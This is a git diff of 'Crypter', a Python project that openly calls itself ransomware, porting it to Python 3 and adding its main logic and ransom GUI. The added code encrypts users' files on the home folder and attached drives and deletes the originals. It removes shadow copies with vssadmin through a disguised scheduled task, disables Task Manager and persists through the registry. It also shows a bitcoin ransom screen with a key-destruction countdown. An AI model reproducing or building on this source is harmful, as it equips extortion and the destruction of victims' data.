diff --git a/.gitignore b/.gitignore index f10fb8c..9ca4194 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,19 @@ -.idea/ +# FILES +Main.spec +todo.txt +key.txt *.pyc *.swn *.swo *.swp -key.txt *~ +CrypterBuilder/Resources/runtime.cfg + +# DIRS +Crypter.egg-info/* +Crypter/.settings/ +bin/ +build/ +dist/ +venv/ +.idea/ diff --git a/Builder.pyw b/Builder.pyw new file mode 100644 index 0000000..dfb8795 --- /dev/null +++ b/Builder.pyw @@ -0,0 +1,11 @@ +''' +@summary: Crypter Build script. Invokes the Crypter Exe Builder +@author: Sithis +''' + +# Import libs +import win32api +from CrypterBuilder import Builder + +builder = Builder() +builder.launch() \ No newline at end of file diff --git a/Crypter/Base.py b/Crypter/Crypter/Base.py similarity index 95% rename from Crypter/Base.py rename to Crypter/Crypter/Base.py index 4a4479f..7a9b6da 100644 --- a/Crypter/Base.py +++ b/Crypter/Crypter/Base.py @@ -7,8 +7,11 @@ # Import libs import os import locale +from operator import attrgetter + import win32api import win32file +from subprocess import Popen, PIPE, DEVNULL # Import classes @@ -127,24 +130,23 @@ def is_optical_drive(self, drive_letter): return True else: return False - + def get_base_dirs(self, home_dir, __config): # Function to return a list of base directories to encrypt base_dirs = [] - + # Add attached drives and file shares if __config["encrypt_attached_drives"] is True: attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1] for drive in attached_drives: - drive_letter = drive[0] - if drive_letter != 'C' and not self.is_optical_drive(drive_letter): + drive_letter = drive[0].lower() + if drive_letter != 'c' and not self.is_optical_drive(drive_letter): base_dirs.append(drive) - + # Add C:\\ user space directories if __config["encrypt_user_home"] is True: base_dirs.append(home_dir) - return base_dirs diff --git a/Crypter/Crypt.py b/Crypter/Crypter/Crypt.py similarity index 89% rename from Crypter/Crypt.py rename to Crypter/Crypter/Crypt.py index dbaaf07..d08b55d 100644 --- a/Crypter/Crypt.py +++ b/Crypter/Crypter/Crypt.py @@ -11,7 +11,7 @@ import os # Import classes -import Base +from . import Base ###################### ## Symmetric Crypto ## @@ -21,9 +21,12 @@ class SymmetricCrypto(Base.Base): def __init__(self, key=None): # Init object - self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) - self.unpad = lambda s : s[0:-ord(s[-1])] + #self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) + self.unpad = lambda s : s[0:-s[-1]] + + def pad(self, s): + return s + bytes((self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE), encoding="utf-8") def init_keys(self, key=None): ''' @@ -32,8 +35,10 @@ def init_keys(self, key=None): ''' if not key: + print("Loading a key") self.load_symmetric_key() else: + print("using existing key: %s" % key) self.key = key @@ -44,11 +49,14 @@ def load_symmetric_key(self): fh = open("key.txt", "r") self.key = fh.read() fh.close() + print("Key file already here. Using + " + self.key) else: + print("No key file. Generating") self.key = self.generate_key() def generate_key(self): # Function to generate a random key for encryption + print("writing out key to " + os.getcwd()) key = ''.join(random.choice('0123456789ABCDEF') for i in range(32)) # DEV - Write to file @@ -104,6 +112,7 @@ def decrypt_file(self, file, decryption_key, extension): # Get file details and check for errors file_details = self.process_file(file, "decrypt", extension) if file_details['error']: + print("Some kind of error getting file details") return # Open file reading and writing handles @@ -111,6 +120,7 @@ def decrypt_file(self, file, decryption_key, extension): fh_read = open(file_details["locked_path"], "rb") fh_write = open(file_details["full_path"], "wb") except IOError: + print("Got IO Error below fh read and write") return False # Read blocks and decrypt @@ -125,7 +135,7 @@ def decrypt_file(self, file, decryption_key, extension): ciphertext = block iv = ciphertext[:self.IV_SIZE] ciphertext = ciphertext[self.IV_SIZE:] - cipher = AES.new(decryption_key, AES.MODE_CBC, iv) + cipher = AES.new(bytes(decryption_key, encoding="utf-8"), AES.MODE_CBC, iv) cleartext = self.unpad(cipher.decrypt(ciphertext)) # Write decrypted block @@ -173,7 +183,7 @@ def encrypt_file(self, file, extension): iv = Random.new().read(AES.block_size) - cipher = AES.new(self.key, AES.MODE_CBC, iv) + cipher = AES.new(bytes(self.key, encoding="utf-8"), AES.MODE_CBC, iv) try: # Create ciphertext. Length is now 4096 + 32 (block + iv + padding) ciphertext = (iv + cipher.encrypt(to_encrypt)) diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py new file mode 100644 index 0000000..5bc14d1 --- /dev/null +++ b/Crypter/Crypter/Crypter.py @@ -0,0 +1,441 @@ +''' +@summary: Crypter: Ransomware written entirely in python. +@author: MLS +@version: 3.0 +''' + +import json +# Import libs +import os +import sys +import time +import winreg + +import win32file +import wx + +# Import Package Libs +from . import Base +from . import Crypt +from . import Gui +from .ScheduledTask import ScheduledTask +from .TaskManager import TaskManager + + +################### +## CRYPTER Class ## +################### +class Crypter(Base.Base): + ''' + @summary: Crypter: Controls interaction between relevant objects + @author: MLS + ''' + + def __init__(self): + ''' + @summary: Constructor + ''' + self.__config = self.__load_config() + self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") + + # Init Crypt Lib + self.Crypt = Crypt.SymmetricCrypto() + + # FIRST RUN + # Encrypt! + if not os.path.isfile(self.encrypted_file_list): + # Disable Task Manager + if self.__config["disable_task_manager"]: + self.task_manager = TaskManager() + try: + self.task_manager.disable() + except WindowsError: + pass + + # Add to startup programs + # TODO Test + if self.__config["open_gui_on_login"]: + self.__add_to_startup_programs() + + # Find files and initialise keys + self.Crypt.init_keys() + + file_list = self.find_files() + + # Start encryption + self.encrypt_files(file_list) + + # If no files were encrypted. cleanup and return + if self.__no_files_were_encrypted(): + # TODO Test + print("No files were encrypted") + self.cleanup() + return + + # Delete Shadow Copies + if "delete_shadow_copies" in self.__config: + self.__delete_shadow_files() + + # Open GUI + self.start_gui() + + # ALREADY ENCRYPTED - Open GUI + elif os.path.isfile(self.encrypted_file_list): + self.start_gui() + + + def __load_config(self): + ''' + @summary: Loads the runtime cfg file + @return: JSON runtime config + ''' + + try: + cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) + except AttributeError: + cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") + + with open(cfg_path, "r") as runtime_cfg_file: + config = json.load(runtime_cfg_file) + + return config + + + def __delete_shadow_files(self): + ''' + @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk + ''' + + vs_deleter = ScheduledTask( + name="updater47", + command="vssadmin Delete Shadows /All /Quiet" + ) + vs_deleter.run_now() + vs_deleter.cleanup() + + + def __no_files_were_encrypted(self): + ''' + @summary: Checks if any files were encrypted + @return: True if no files were encrypted, otherwise False + @todo: Test + ''' + + if not os.path.isfile(self.encrypted_file_list): + return True + else: + return False + + + def __add_to_startup_programs(self): + ''' + @summary: Adds Crypter to the list of Windows startup programs + @todo: Code and test + @todo: Restore try and except catch + ''' + + try: + reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) + winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) + winreg.CloseKey(reg) + except WindowsError: + pass + + + def __remove_from_startup_programs(self): + ''' + @summary: Removes Crypter from the list of startup programs + @todo: Code and test + ''' + + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) + winreg.DeleteValue(reg, "Crypter") + winreg.CloseKey(reg) + except WindowsError: + pass + + + def get_start_time(self): + ''' + @summary: Get's Crypter's start time from the registry, or creates it if it + doesn't exist + @return: The time that the ransomware began it's encryption operation, in integer epoch form + ''' + + # Try to open registry key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + start_time = winreg.QueryValueEx(reg, "")[0] + winreg.CloseKey(reg) + # If failure, create the key + except WindowsError: + start_time = int(time.time()) + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) + winreg.CloseKey(reg) + + return start_time + + + def cleanup(self): + ''' + @summary: Cleanups the system following successful decryption. Removed the list of + encrypted files and deletes the Crypter registry key. Re-enable TM + ''' + + # If files were encrypted, Remove from startup programs (if present in list) + if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: + self.__remove_from_startup_programs() + + self.delete_encrypted_file_list() + self.delete_registry_entries() + + if self.__config["disable_task_manager"]: + try: + self.task_manager.enable() + except WindowsError: + pass + + + def delete_registry_entries(self): + ''' + @summary: Deletes the timer registry key + ''' + + # Open and delete the key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.DeleteKeyEx(reg, "") + winreg.CloseKey(reg) + except WindowsError: + # Ignore any Windows errors + pass + + + def start_gui(self): + ''' + @summary: Initialises and launches the ransomware GUI screen + ''' + + # Get Crypter start_time + start_time = self.get_start_time() + + app = wx.App() + # TODO Update this to new path and place in __init__ + try: + image_path = sys._MEIPASS + except AttributeError: + image_path = os.path.join("..\\", "CrypterBuilder", "Resources") + + crypter_gui = Gui.Gui( + image_path=image_path, + start_time=start_time, + decrypter=self, + config=self.__config) + + crypter_gui.Show() + app.MainLoop() + + + def get_encrypted_files_list(self): + ''' + @summary: Returns a list of the files encrypted by crypter + @return: Encrypted file list + ''' + + # Get list of encrypted files + try: + with open(self.encrypted_file_list) as fh: + file_list = fh.readlines() + fh.close() + except IOError: + # Don't error, just return message + raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) + + return file_list + + + def decrypt_file(self, encrypted_file, decryption_key): + ''' + @summary: Processes the list of encrypted files and decrypts each. Should be called once per file + @param encrypted_file: an encrypted file to decrypt + ''' + + # Decrypt! + if not encrypted_file: + return + + # IF successful decryption, delete locked file + locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, + self.__config["encrypted_file_extension"]) + if locked_path: + os.remove(locked_path) + + + def delete_encrypted_file_list(self): + ''' + @summary: Deletes the list of encrypted files + ''' + + # Remove encrypted file list + if os.path.isfile(self.encrypted_file_list): + os.remove(self.encrypted_file_list) + + + def encrypt_files(self, file_list): + ''' + @summary: Encrypts all files in the provided file list param + @param file_list: A list of files to encrypt + ''' + encrypted_files = [] + + # Encrypt them and add to list if successful + for file in file_list: + + # Encrypt file if less than specified file size + try: + if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: + is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) + else: + is_encrypted = False + + # IF encrypted, try to delete the file and add to the list + if is_encrypted: + os.remove(file) + encrypted_files.append(file) + except: + # Ignore any exception, such as access denied, and continue + raise + + # Write out list of encrypted files + if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): + fh = open(self.encrypted_file_list, "w") + for encrypted_file in encrypted_files: + fh.write(encrypted_file) + fh.write("\n") + fh.close() + + + def find_files(self): + ''' + @summary: Searches the file system and builds a list of files to encrypt + @return: List of files matching the location and filetype criteria + ''' + binary_name = os.path.split(sys.argv[0])[1] + + # Get Current Working Directory + try: + cwd = sys._MEIPASS + except AttributeError: + cwd = os.path.dirname(os.getcwd()) + + base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) + file_list = [] + + for directory in base_dirs: + print("Checking: %s" % directory) + for path, subdirs, files in os.walk(directory): + for file in files: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + for file in subdirs: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + + return file_list + + + def is_excluded_dir(self, path): + ''' + @summary: Checks whether the specified path should be excluded from encryption + @param path: The path to check + @return: True if the path should be excluded from encryption, otherwise False + ''' + + for dir_to_exclude in self.DIRS_TO_EXCLUDE: + if "\\%s" % dir_to_exclude.lower() in path.lower(): + return True + + return False + + + def is_excluded_file(self, file): + ''' + @summary: Checks whether the specified file is marked as a file to be excluded from encryption + @param file: The file to check + @requires: True if the file should be excluded from encryption, otherwise false + ''' + + if file.lower() in self.FILES_TO_EXCLUDE: + return True + else: + return False + + + def is_valid_filetype(self, file): + ''' + @summary: Verifies whether the specified file is of an acceptable type for encryption + @param file: The file to check + @attention: The list of filetypes to encrypt is defined in the Base.Base class + ''' + + # Split filename + filename_components = file.split(".") + + # If no extension, return False + if len(filename_components) <= 1: + return False + # Otherwise stringify extension + else: + full_extension = ".".join(filename_components[1:]).lower() + + # Check if extension is in the list of encryptable extensions + for target_extension in self.__config["filetypes_to_encrypt"]: + if len(target_extension) <= len(full_extension) and full_extension[ + -len(target_extension):] == target_extension.lower(): + return True + + return False + + + def set_wallpaper(self): + ''' + @summary: Sets the users wallpaper to a specific ransom not image + @deprecated: This method, and approach, is no longer used. The ransom + note is now displayed via a WX GUI + @requires: To enable this method, add an import for ctypes + ''' + + # Import image and write to path + # todo adjust file name... maybe replace this with whatever is provided in the config file? + image_path = os.path.join(sys._MEIPASS, "ransom.png") + + SPI_SETDESKWALLPAPER = 20 + ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) diff --git a/Crypter/Crypter/Gui.py b/Crypter/Crypter/Gui.py new file mode 100644 index 0000000..a020247 --- /dev/null +++ b/Crypter/Crypter/Gui.py @@ -0,0 +1,489 @@ +"""Subclass of MainFrame, which is generated by wxFormBuilder.""" +''' +@summary: Crypter: GUI Class +@author: MLS +''' + +# Import libs +import os +import time +import webbrowser +import wx +from pubsub import pub +from threading import Thread, Event + +# Import Package Libs +from . import Base +from .GuiAbsBase import EnterDecryptionKeyDialog +from .GuiAbsBase import MainFrame +from .GuiAbsBase import ViewEncryptedFilesDialog + + +############################ +## DECRYPTIONTHREAD CLASS ## +############################ +class DecryptionThread(Thread): + ''' + @summary: Provides a thread for file decryption + ''' + + def __init__(self, encrypted_files_list, decrypted_files_list, parent, + decrypter, decryption_key): + ''' + @summary: Constructor: Starts the thread + @param encrypted_files_list: The list of encrypted files + @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted + @param parent: Handle to the GUI parent object + @param decrypter: Handle to the decrypter (Main object) + @param decryption_key: AES 256 bit decryption key to be used for file decryption + ''' + self.parent = parent + self.encrypted_files_list = encrypted_files_list + self.decrypted_files_list = decrypted_files_list + self.decrypter = decrypter + self.decryption_key = decryption_key + self.in_progress = False + self.decryption_complete = False + self._stop_event = Event() + + # Start thread + Thread.__init__(self) + self.start() + + def run(self): + ''' + @summary: Performs decryption of the encrypted files + ''' + self.in_progress = True + time.sleep(0.5) + + # Iterate encrypted files + for i in range(len(self.encrypted_files_list)): + + # Check for thread termination signal and break if set + if self._stop_event.is_set(): + break + else: + # Decrypt file and add to list of decrypted files. Update progress + self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) + self.decrypted_files_list.append(self.encrypted_files_list[i]) + #Publisher.sendMessage("update", "") + pub.sendMessage("update") + + # Encryption stopped or finished + self.in_progress = False + + # Check if decryption was completed + if len(self.decrypted_files_list) == len(self.encrypted_files_list): + self.decryption_complete = True + + # Run a final progress update + #Publisher.sendMessage("update", "") + pub.sendMessage("update") + + # Remove decrypted files from the list of encrypted files + # Update the GUIs encrypted and decrypted file lists + for file in self.decrypted_files_list: + if file in self.encrypted_files_list: + self.encrypted_files_list.remove(file) + + # Make sure GUI file lists are up-to-date + self.parent.decrypted_files_list = [] + self.parent.encrypted_files_list = self.encrypted_files_list + + # If forcefully stopped, close the dialog + if self._stop_event.is_set(): + self.parent.decryption_dialog.Destroy() + + def stop(self): + ''' + @summary: To be called to set the stop event and terminate the thread after the next cycle + ''' + + # If complete or not in progress, and event is already set, close forcefully + if self.decryption_complete or not self.in_progress: + self.parent.decryption_dialog.Destroy() + # Otherwise, only set signal + else: + self._stop_event.set() + + +############### +## GUI CLASS ## +############### +class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): + ''' + @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, + labels, text, buttons, images etc. Also inherits from main Base for schema + ''' + + def __init__(self, image_path, start_time, decrypter, config): + ''' + @summary: Constructor + @param image_path: The path to look at to find resources, such as images. + @param start_time: EPOCH time that the encryption finished. + @param decrypter: Handle back to Main. For calling decryption method + @param config: The ransomware's runtime config dict + ''' + # Handle Params + self.image_path = image_path + self.start_time = start_time + self.decrypter = decrypter + self.__config = config + self.decryption_thread = None + self.decryption_dialog = None + self.encrypted_files_list = self.decrypter.get_encrypted_files_list() + self.decrypted_files_list = [] + + # Define other vars + self.set_message_to_null = True + + # Super + MainFrame.__init__(self, parent=None) + + # Update GUI visuals + self.update_visuals() + + # Update events + self.set_events() + + # Create pubsub listener to update the decryption progress + #Publisher.subscribe(self.update_decryption_progress, "update") + pub.subscribe(self.update_decryption_progress, "update") + + def update_decryption_progress(self): + ''' + @summary: Updates the decryption progress in the GUI + ''' + + # Calculate percentage completion + if len(self.encrypted_files_list) == 0: + percentage_completion = 100 + else: + percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float( + len(self.encrypted_files_list)) + + # Update number of encrypted files remaining + if not self.decryption_thread.decryption_complete: + encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) + else: + encrypted_files_remaining = 0 + + # Set encrypted files number in GUI + self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( + "Encrypted Files: %s" % encrypted_files_remaining) + + # Update Decryption percentage completion + if percentage_completion != 100: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion + ) + else: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion + ) + + # Update decryption gauge + if self.encrypted_files_list: + self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) + else: + self.decryption_dialog.DecryptionGauge.SetValue(100) + + # If the decryption has successfully finished, update the GUI + if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: + # Cleanup decrypter and change dialog message + self.decrypter.cleanup() + # Update main window + self.key_destruction_timer.Stop() + self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) + self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) + self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + + # Disable decryption and files list buttons + self.EnterDecryptionKeyButton.Disable() + self.ViewEncryptedFilesButton.Disable() + + def open_url(self, event): + ''' + @summary: Opens a web browser at the Bitcoin URL + ''' + + webbrowser.open(self.BTC_BUTTON_URL) + + def set_events(self): + ''' + @summary: Create button and timer events for GUI + ''' + + # Create and bind timer event + self.key_destruction_timer = wx.Timer() + self.key_destruction_timer.SetOwner(self, wx.ID_ANY) + self.key_destruction_timer.Start(500) + self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) + + # Create button events + self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) + self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) + self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) + + def stop_decryption(self, event): + ''' + @summary: Called when the decryption dialog is closed. Sends a stop event + signal to the decryption thread if it exists + ''' + + # Send stop event to the decryption thread if it exists + if self.decryption_thread and self.decryption_thread.in_progress: + self.decryption_thread.stop() + # Otherwise just kill the dialog + else: + self.decryption_dialog.Destroy() + + def show_decryption_dialog(self, event): + ''' + @summary: Creates a dialog object to show the decryption dialog + ''' + + # If dialog open. Don't open another + if self.decryption_dialog: + return + + # Create dialog object + self.decryption_dialog = EnterDecryptionKeyDialog(self) + # Set gauge size + self.decryption_dialog.DecryptionGauge.SetRange(100) + # Set encrypted file number + self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( + len(self.encrypted_files_list) - len(self.decrypted_files_list) + ) + ) + + # Bind OK button to decryption process + self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) + # Bind close and cancel event to thread killer + self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) + self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) + self.decryption_dialog.Show() + + def start_decryption_thread(self, event): + ''' + @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) + ''' + + # Check for valid key + key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) + if len(key_contents) < 32: + self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) + return + else: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" + ) + + # Disable dialog buttons + self.decryption_dialog.OkCancelSizerOK.Disable() + self.decryption_dialog.OkCancelSizerCancel.Disable() + + # Start the decryption thread + self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, + self, self.decrypter, key_contents) + + def show_encrypted_files(self, event): + ''' + @summary: Creates a dialog object showing a list of the files that were encrypted + ''' + + # Create dialog object and file list string + self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) + encrypted_files_list = "" + for file in self.encrypted_files_list: + encrypted_files_list += "%s" % file + + # If the list of encrypted files exists, load contents + if encrypted_files_list: + self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) + # Otherwise set to none found + else: + self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( + self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) + + self.encrypted_files_dialog.Show() + + def blink(self, event): + ''' + @summary: Blinks the subheader text + ''' + + # Update the time remaining + time_remaining = self.get_time_remaining() + + # Set message to blank + if self.set_message_to_null and time_remaining: + self.FlashingMessageText.SetLabelText("") + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + self.set_message_to_null = False + # Set message to text + elif time_remaining: + self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + self.set_message_to_null = True + + # If the key has been destroyed, update the menu text + if not time_remaining: + # Cleanup decrypter and change dialog message + self.decrypter.cleanup() + # Update main window + self.key_destruction_timer.Stop() + self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) + self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) + self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0)) + # Disable decryption button + self.EnterDecryptionKeyButton.Disable() + self.ViewEncryptedFilesButton.Disable() + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + else: + self.TimeRemainingTime.SetLabelText(time_remaining) + + def get_time_remaining(self): + ''' + @summary: Method to read the time of encryption and determine the time remaining + before the decryption key is destroyed + @return: time remaining until decryption key is destroyed + ''' + + seconds_elapsed = int(time.time() - int(self.start_time)) + + _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed + if _time_remaining <= 0: + return None + + minutes, seconds = divmod(_time_remaining, 60) + hours, minutes = divmod(minutes, 60) + + return "%02d:%02d:%02d" % (hours, minutes, seconds) + + def update_visuals(self): + ''' + @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. + ''' + + # Set Frame Style + style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL + if self.__config["make_gui_resizeable"]: + style = style | wx.RESIZE_BORDER + if self.__config["always_on_top"]: + style = style | wx.STAY_ON_TOP + self.SetWindowStyle(style) + + # Background Colour + self.SetBackgroundColour(wx.Colour( + self.__config["background_colour"][0], + self.__config["background_colour"][1], + self.__config["background_colour"][2] + ) + ) + + # Icon + icon = wx.Icon() + icon.CopyFromBitmap(wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_ICON) + )) + self.SetIcon(icon) + + # Titles + # ======================================================================= + # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( + # self.__config["maj_version"], + # self.__config["min_version"] + # ) + # ) + # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) + # self.TitleLabel.SetForegroundColour(wx.Colour( + # self.__config["heading_font_colour"][0], + # self.__config["heading_font_colour"][1], + # self.__config["heading_font_colour"][2], + # ) + # ) + # ======================================================================= + self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( + self.__config["maj_version"], + self.__config["min_version"] + ) + ) + self.TitleLabel.SetLabel(self.__config["gui_title"]) + + # Set flashing text initial label and Colour + self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) + self.__set_as_primary_colour(self.FlashingMessageText) + + # Set Ransom Message + self.RansomMessageText.SetValue(self.__config["ransom_message"]) + + # Set Logo + self.LockBitmap.SetBitmap( + wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_LOGO), + wx.BITMAP_TYPE_ANY + ) + ) + + # Set Bitcoin Button logo + self.BitcoinButton.SetBitmap( + wx.Bitmap( + os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), + wx.BITMAP_TYPE_ANY + ) + ) + + # Set key destruction label + self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) + self.__set_as_primary_colour(self.TimeRemainingLabel) + + # Set Wallet Address label + self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) + self.__set_as_primary_colour(self.WalletAddressLabel) + + # Set Wallet Address Value + self.WalletAddressString.SetLabel(self.__config["wallet_address"]) + self.__set_as_secondary_colour(self.WalletAddressString) + + # Set Bitcoin Fee label + self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) + self.__set_as_primary_colour(self.BitcoinFeeLabel) + + # Set Bitcoin Fee Value + self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) + self.__set_as_secondary_colour(self.BitcoinFeeString) + + # Set Timer font colour + self.__set_as_secondary_colour(self.TimeRemainingTime) + + # Set Button Text + self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) + self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) + + def __set_as_secondary_colour(self, obj): + ''' + @summary: Sets the objects foreground colour to the secondary colour specified by the config + ''' + + obj.SetForegroundColour(wx.Colour( + self.__config["secondary_font_colour"][0], + self.__config["secondary_font_colour"][1], + self.__config["secondary_font_colour"][2] + ) + ) + + def __set_as_primary_colour(self, obj): + ''' + @summary: Sets the objects foreground colour to the primary colour specified by the config + ''' + + obj.SetForegroundColour(wx.Colour( + self.__config["primary_font_colour"][0], + self.__config["primary_font_colour"][1], + self.__config["primary_font_colour"][2] + ) + ) diff --git a/Crypter/GuiAbsBase.py b/Crypter/Crypter/GuiAbsBase.py similarity index 91% rename from Crypter/GuiAbsBase.py rename to Crypter/Crypter/GuiAbsBase.py index 6a3b916..e233499 100644 --- a/Crypter/GuiAbsBase.py +++ b/Crypter/Crypter/GuiAbsBase.py @@ -1,10 +1,10 @@ -# -*- coding: utf-8 -*- +# -*- coding: utf-8 -*- ########################################################################### -## Python code generated with wxFormBuilder (version Dec 21 2016) +## Python code generated with wxFormBuilder (version Oct 26 2018) ## http://www.wxformbuilder.org/ ## -## PLEASE DO "NOT" EDIT THIS FILE! +## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx @@ -15,326 +15,336 @@ ########################################################################### class MainFrame ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter", pos = wx.DefaultPosition, size = wx.Size( 940,800 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) + + self.SetSizeHints( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) self.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) 